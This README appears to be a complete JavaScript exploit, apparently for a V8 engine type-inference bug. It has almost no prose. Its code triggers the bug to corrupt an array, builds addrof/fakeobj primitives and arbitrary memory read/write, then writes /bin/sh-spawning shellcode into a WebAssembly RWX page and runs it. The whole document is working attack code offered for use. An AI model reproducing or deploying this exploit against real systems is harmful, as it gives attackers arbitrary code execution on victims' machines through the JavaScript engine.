README.md
Rendering markdown...
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var allArrays;
var float_arr_map_idx = 23;
var float_arr;
var arr_obj;
var arr_obj_map_idx = 34;
var corrupted_arr;
function ftoi(val) {
f64[0] = val;
return BigInt(u32[0]) + (BigInt(u32[1]) << 32n);
}
function itof(val) {
u32[0] = Number(val & 0xffffffffn);
u32[1] = Number(val >> 32n);
return f64[0];
}
function hex(v) {
return '0x' + v.toString(16);
}
function trigger() {
var x = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += x) {
if (i == -Infinity) {
x = +Infinity;
}
if (++k > 10) {
break;
}
}
i = Math.max(i, 0x100000800);
// After step one:
// actual = NaN, inferred = [0x100000800; +Infinity)
// representation = double
i = Math.min(0x100000801, i);
// After step two:
// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
// representation = int64_t
i -= 0x1000007fa;
// After step three:
// actual = -2042, inferred = [6, 7]
// representation = int32_t
i >>= 1;
// After step four:
// actual = -1021, inferred = 3
// representation = int32_t
i += 10;
// After step five:
// actual = -1011, inferred = 13
// representation = int32_t
var array = new Array(i);
array[0] = 1.1;
var float_arr = [1.1, 1.2, 1.3, 1.4];
var arr_obj = [{
"A": 1
}];
return [array, float_arr, i, arr_obj];
}
function addrof(obj) {
var allArrays = trigger();
var arr_obj = allArrays[3];
var corrupted_arr = allArrays[0];
var orginal_map = corrupted_arr[arr_obj_map_idx]; // save old map
arr_obj[0] = obj;
corrupted_arr[arr_obj_map_idx] = corrupted_arr[float_arr_map_idx]; // change object map to float map
var addr = arr_obj[0]; // get the address
corrupted_arr[arr_obj_map_idx] = orginal_map; // set map back
return ftoi(addr);
}
function fakeobj(addr) {
var allArrays = trigger();
var corrupted_arr = allArrays[0]
var float_arr = allArrays[1];
float_arr[0] = itof(addr);
var orginal_map = corrupted_arr[float_arr_map_idx]; // save old map
corrupted_arr[float_arr_map_idx] = corrupted_arr[arr_obj_map_idx]; //change float map to object map
var fake = float_arr[0];
corrupted_arr[float_arr_map_idx] = orginal_map; //set map back
return fake;
}
while (trigger()[2] != -1011); // loop until trigger the bug
// set variable
allArrays = trigger();
corrupted_arr = allArrays[0];
float_arr = allArrays[1];
arr_obj = allArrays[3];
var arb_rw_arr = [corrupted_arr[float_arr_map_idx], 1.2, 1.3, 1.4];
function arb_read(addr) {
// We have to use tagged pointers for reading, so we tag the addr
if (addr % 2n == 0)
addr += 1n;
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to read_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Index 0 will then return the value at read_addr
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
console.log("wasm: ", hex(addrof(wasm_instance)));
var rwx_page_addr = arb_read(addrof(wasm_instance) - 1n + 0x80n);
console.log("[+] RWX Wasm page addr: " + hex(rwx_page_addr));
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint8(i, shellcode[i], false);
}
}
// pop bash
var shellcode = [0x48, 0x31, 0xf6, 0x56, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05];
console.log("[+] Copying shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[+] Exec bash");
f();